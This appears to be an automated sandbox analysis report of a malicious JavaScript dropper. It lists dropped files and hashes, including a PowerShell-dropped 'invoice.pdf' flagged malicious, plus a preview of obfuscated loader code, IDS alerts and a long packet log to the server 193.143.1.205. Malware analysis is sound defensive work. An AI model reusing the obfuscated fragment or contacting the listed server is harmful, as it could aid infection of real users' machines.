Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3051ecef-8dce-4ca7-9743-d1d8df4bfce1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/RwYIGNP4meWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:ZwZG6XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	3E2D879F2C17CB927D259AABADA22E63
SHA1:	244E867380AF3F02DA05F1545B9EB4C5AF4344F1
SHA-256:	859600ADE2AC3561FB00A165DD68DCFA12819776AC96A43BE9C6A775782B042A
SHA-512:	BBC0B0603988A51E3A0B03FEF585EA3C79C4F0ADD0EAE8A96C010F085FF1BBDD28F677EFC56CA638B282602C4A60190E0C8BAD93017923B1E7F549F48294C0F1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4661aa74-c4e4-48c4-be01-227c4a180103.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\87e2af2f-ff67-48da-b70c-3a3d1b73e24d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a082fd79-0f37-49a8-8c50-92aef7d1d1e3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16316), with CRLF line terminators
Entropy (8bit):	4.932251450650655
TrID:
File name:	322024057229051058.js
File size:	19'957 bytes
MD5:	d0b7c9c1e6ee9fd4a5fac64020a0257c
SHA1:	4e0b51685c74917f32ba804264f9404a23052cc6
SHA256:	aba05ade277dd23c85d66ca689c01cce5e6131a38add0fcb5d90262190c7d08f
SHA512:	c6ef2bb44d730be096fa092b894cd839e92a3674164dcfad6f481f6e95c3c910e79abdb9008daf56bd40385ad59f42068262d435fd30eb113cf604b7d9f1bf6e
SSDEEP:	192:iP++dRuPAYUDoY2oY2iKjl+s2+NkgcYHv7PvWDj7FUEXBIO/6JimkEHuHWvWrsWB:0++TD07FUERIOuO2OAWFUukwhs060
TLSH:	C992950B8101D27BDEF86AE847DB56F5538A57DD4028318CEC41719F2A87EEA3AE1C35
File Content Preview:	function npofz(){foqldryqo=[1031,3079,5127,4103,2055,3072];var qrcolmwxf=this[ljxuzgu+kfillvb+qtmqrp+fiicnc+dgfzqubwj+fqqnixnd+nhlcissr+xjwllra](this[enoulcxf+mvpkwymt+gwelleo+qtmqrp+jhckfxnlc+ljxuzgu+xjwllra][kuupddxzh+qtmqrp+dgfzqubwj+kfillvb+xjwllra+dg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:32:41.287096+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49717	193.143.1.205	80	TCP
2025-01-10T21:32:43.641458+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49733	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:32:40.467897892 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:40.472738981 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:40.472888947 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:40.475908041 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:40.480668068 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287013054 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287038088 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287050962 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287064075 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287076950 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287091017 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287096024 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.287102938 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287116051 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287132025 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287143946 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.287163019 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.287180901 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.292037010 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.344202995 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.347060919 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.347075939 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.347137928 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.412997007 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413017035 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413024902 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413207054 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413219929 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.413230896 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413244009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413275003 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.413280010 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413291931 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.413762093 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413835049 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413856030 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413870096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.413882017 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.414066076 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.414632082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.414660931 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.414674044 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.414686918 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.414716005 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.414724112 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.414738894 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.415611029 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.415626049 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.415638924 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.415656090 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.415659904 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.415679932 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.468992949 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.481806993 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.481841087 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.481909037 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.527539015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.527554989 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.527578115 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.527587891 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.527621984 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.527667046 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.541585922 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.541604996 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.541618109 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.541662931 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.541688919 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.541722059 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.541732073 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.541749954 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.541764021 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.541775942 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.541799068 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.541821957 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.542355061 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.542378902 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.542397976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.542413950 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.542428017 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.542428017 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.542442083 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.542455912 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.542468071 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.542491913 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.543236017 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.543251038 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.543265104 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.543277025 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.543289900 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.543292999 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.543302059 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.543323994 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.543323994 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.543340921 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.543356895 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.544099092 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.544112921 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.544126034 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.544150114 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.544161081 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.544173956 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.544186115 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.544195890 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.544198990 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.544222116 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.545087099 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545104027 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545116901 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545128107 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545140982 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545151949 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545161009 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.545166016 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545192957 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.545208931 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.545922041 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545972109 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545984030 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.545998096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.546017885 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.546041012 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.572421074 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.572439909 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.572451115 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.572556973 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.618262053 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.618318081 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.618333101 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.656102896 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.656121016 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.656143904 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.656153917 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.656198978 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.656246901 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.656254053 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.656265974 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.656297922 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.656306982 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.656342030 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.670236111 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670263052 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670277119 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670289040 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670303106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670315981 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670316935 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.670355082 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.670378923 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.670398951 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670466900 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670490026 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670502901 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670512915 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.670526981 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670540094 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670542002 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.670552969 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.670576096 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.670990944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671004057 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671016932 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671041965 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.671068907 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.671199083 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671267033 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671278954 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671292067 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671304941 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.671307087 CET	49717	80	192.168.2.10	193.143.1.205
